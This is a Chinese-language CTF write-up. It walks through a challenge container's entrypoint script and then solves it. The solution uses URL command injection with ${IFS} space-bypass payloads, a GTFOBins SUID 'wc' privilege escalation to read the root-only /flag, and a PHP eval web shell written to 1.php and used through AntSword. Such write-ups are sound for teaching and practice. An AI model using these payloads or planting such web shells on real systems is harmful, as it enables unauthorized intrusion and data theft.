Getshell

First Post:

Last Update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
文件docker-entrypoint.sh
#!/bin/sh #声明
user=$(ls /home) #后来没用到,无实际意义
if [ "$DASFLAG" ]; then
INSERT_FLAG="$DASFLAG"
export DASFLAG=no_FLAG # 导出修改后的环境变量
DASFLAG=no_FLAG # 覆盖当前脚本中的变量值
#export DASFLAG=no_FLAG:修改环境变量,让后续启动的程序(如 Apache)看到的是 no_FLAG,而非真实的 Flag。
#DASFLAG=no_FLAG:修改当前脚本中变量 DASFLAG 的值,防止后续代码误用。
#为什么需要双重操作(export + 直接赋值)?
#export:修改环境变量,影响所有 子进程(比如后续启动的 Apache)。

#直接赋值:修改当前脚本中的变量值,影响 当前进程。

#区别:

#如果只 export,当前脚本中 DASFLAG 的值还是真实的 Flag。

#如果只直接赋值,子进程(如 Apache)仍然能读取到原始的 DASFLAG。

#双重操作确保 当前脚本和子进程都看不到原始 Flag。
elif [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
export FLAG=no_FLAG
FLAG=no_FLAG
elif [ "$GZCTF_FLAG" ]; then
INSERT_FLAG="$GZCTF_FLAG"
export GZCTF_FLAG=no_FLAG
GZCTF_FLAG=no_FLAG
else
INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

echo $INSERT_FLAG | tee /flag # 写入 Flag 到文件(/flag)
chmod 700 /flag # 权限设为仅所有者可读写执行

exec apache2-foreground #替换当前进程为 Apache 前台运行,保持容器活跃。

目的就是搜查三个环境变量,从环境变量中读取敏感信息(Flag),然后立即销毁环境变量中的flag痕迹,把真实flag存到/flag中,但是需要所有者权限才能读取

所以flag读不了考虑权限不够的原因,在url中提权

1
?action=run&input=find${IFS}/${IFS}-perm${IFS}-4000

-perm 用于根据文件的权限来筛选文件,整句话的意思就是从根目录里头找具有SUID权限的文件(-4000)

提权过程
GTFOBins

第一步:将带有SUID权限的wc复制到当前目录

  1. . 表示当前目录

2.install 是一个用于复制文件并设置其权限的命令,常用于安装软件包时将文件复制到指定位置,并确保文件具有合适的权限,基本语法:

1
install [选项] 源文件 目标位置
  1. -m=xs(也就是install的那个选项):

m:mode(权限),用于指定文件的权限模式。

xs:x 表示可执行权限,s 表示设置 SUID(SUID)或 SGID(Set Group ID)权限。在这个命令中,设置 SUID 权限意味着当其他用户执行这个文件时,它会以文件所有者的身份运行。

4.$(which wc):which 是一个用于查找可执行文件位置的命令。$(…)首先会执行括号里的命令,然后将命令结果输出到原来位置

1
2
3
sudo install -m=xs $(which wc) .
加工
sudo${IFS}install${IFS}-m${IFS}=xs${IFS}$(which${IFS}wc)${IFS}.

第二步:定义目标文件路径
定义环境变量LFILE,指向受保护文件/flag,后续可以通过$LFILE引用该路径,避免直接硬编

1
2
3
input=LFILE=/flag
实际命令
export LFILE=/flag

第三步:利用SUID的wc读取文件

  1. ./wc:运行当前目录下已设置SUID的wc程序。

  2. –files0-from:wc的一个选项,从指定文件读取输入(通常用于批量统计文件)。

1
2
3
input=./wc --files0-from "$LFILE"
加工
input=./wc${IFS}--files0-from${IFS}"$LFILE"

上面忽略,其实直接来到最后一步就行……

1
2
echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>1.php
将<?=eval($_POST[1]);?>写入1.php

在蚁剑终端输入

1
/var/www/html/wc --files0-from "/flag" 

img